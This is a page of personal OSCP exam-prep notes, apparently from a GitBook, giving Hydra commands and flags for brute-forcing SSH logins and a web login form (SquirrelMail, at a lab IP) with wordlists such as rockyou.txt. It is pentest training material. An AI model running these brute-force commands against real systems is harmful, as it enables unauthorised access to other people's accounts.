✍️
OSCP Prep
  • Welcome Aboard
  • Linux Basics
    • Command Line Fundamentals
  • Writeups
    • HackTheBox
      • Windows
        • Granny
        • Devel
        • Blue
        • Legacy
      • Linux
        • shocker
    • OSPG
    • TryHackMe
    • Vulnhub
      • Kioptrix Level1
  • Scanning and Enumeration
    • Index
    • Wordpress
      • wpscan
    • NMAP
    • DNS
    • NFS
    • DB
      • Oracle DB 1521
      • MySQL
    • SMB
      • msfconsole
      • crackmapexec
      • smbmap
      • smbclient
      • enum4linux
      • Mount smb share locally
    • SSH
    • HTTP
      • PUT Method
      • Untitled
  • Tools and Techniques
    • File Transfer
    • CMD-Fu
    • Cross Platform Exploit Compilation
    • Bash-Fu
    • Sniffing
      • tcpdump
      • Wireshark
    • Brute Force
      • Untitled
      • Hydra
    • Msfvenom
    • Password Cracking
      • John
      • Hashcat
  • Gaining Access and Exploitation
  • SQL Injection
    • sqlmap
    • mysql syntax
    • ms sql syntax
  • File Upload
  • LFI
  • Privilege Escalation
    • Windows
      • references links
      • Manual
        • SeTokenImpersonate
      • Scripts
    • Linux
      • Manual
        • Know your Enemy
      • Scripts
  • Mislu Tips
    • Troubleshooting
  • Buffer OverFlow under 30 min.
    • point n shoot
    • fuzzer.py
    • Addons reading material
  • Active Directory
    • Untitled
Powered by GitBook
On this page

Was this helpful?

  1. Tools and Techniques
  2. Brute Force

Hydra

PreviousUntitledNextMsfvenom

Last updated 3 years ago

Was this helpful?

SSH

for single username

hydra -l root -P /usr/share/wordlist/rockyou.txt -vV $Target_IP ssh

for custom ssh port -s 2222

hydra -l root -P /usr/share/wordlist/rockyou.txt -vV $Target_IP -s 2222 ssh

for uname and password both

hydra -L /usr/share/wordlist/rockyou.txt -P /usr/share/wordlist/rockyou.txt -vV $Target_IP ssh

my hydra guide hydra -U http-post-form to check out specific module related more options hydra -L /path/to/usernames.txt -P /path/to/passlist.txt ssh://ip

there are various ways to mention the kind of attack at last you can mention the service://ip

like ftp://ip or ssh://ip or smb://ip to target default ports of theese services hydra -l milesdyson -P log1.txt 10.10.172.10 -V http-post-form "/squirrelmail/src- redirect.php:login_username=^USER^&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=password incorrect" -f -l single username -L list of usernames same for -p and -P

-p password

-P list of file containing passswords -V for verbosity show the combinations being tried http-post-form or http-get-form “targeturlparth:postformwith user and pass tags:F=how failed attempt looks like” -f to stop when done :F= :S= to tell how success attempt looks like

hydra -l georgia -P passslist.txt <$ipadress of target> <$portuwanttoattack>

-l single userrname

-L file of usernames

-p single password

-P file of password

https://securitytutorials.co.uk/brute-forcing-passwords-with-thc-hydra/